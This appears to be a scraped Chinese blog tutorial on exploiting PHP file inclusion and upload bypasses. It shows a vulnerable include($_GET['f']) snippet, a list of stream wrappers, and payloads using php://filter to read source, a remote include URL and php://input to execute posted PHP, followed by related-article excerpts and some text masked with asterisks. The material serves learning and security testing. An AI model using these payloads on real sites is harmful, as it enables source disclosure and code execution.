php檔案包含 偽協議 檔案上傳漏洞利用例項

2021-08-03 18:35:24 字數 1428 閱讀 9203

1.上傳檔案過濾了字尾名和mime型別,$_files['pic']['type']是由瀏覽器傳輸的檔案型別決定,但是mime_content_type()是由php

內建方法判斷檔案型別;        

2.任意檔案包含    

$f = $_get['f'];

include_once('sys/config.php');

include($f);

利用zip或phar偽協議讀取壓縮包中的檔案

上傳webshell完成

擴充套件:php偽協議:

file:

// — 訪問本地檔案系統

// — 訪問 http(s) **

ftp:

// — 訪問 ftp(s) urls

php:

// — 訪問各個輸入/輸出流(i/o streams)

zlib:

// — 壓縮流

data:

// — 資料(rfc 2397)

glob:

// — 查詢匹配的檔案路徑模式

phar:

// — php 歸檔

ssh2:

// — secure shell 2

rar:

// — rar

ogg:

// — 音訊流

expect:

// — 處理互動式的流

讀取頁面源**

/about.php?f=php://filter/convert.base64-encode/resource=index.php

以base64加密的形式讀取頁面源**,然後在再對**進行base64解密就可以得到源**

當php配置allow_url_include和allow_url_fopen都為on的時候,可以對檔案進行遠端包含

例如:about.php?f=http://web/1.php

當allow_url_include為on,而allow_url_fopen為off的是否,不可以直接遠端包含檔案,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等偽協議

例如about.php?f=php://input  post傳輸資料<?php phpinfo(); ?>

php檔案包含 偽協議 檔案上傳漏洞相關說明

2.任意檔案包含 f get f include once sys config.php include f 利用zip或phar偽協議讀取壓縮包中的檔案 上傳webshell完成 擴充套件 php偽協議 file 訪問本地檔案系統 訪問 http s ftp 訪問 ftp s urls php 訪...

檔案包含與偽協議

說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...

檔案包含與PHP偽協議實戰演練

1 include require 當使用include 函式包含檔案時,只有 執行到 include 函式時才將檔案包含進來,發生錯誤時只給出乙個警告,繼續向下執行。當使用require 函式包含檔案時,只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行 2 inc...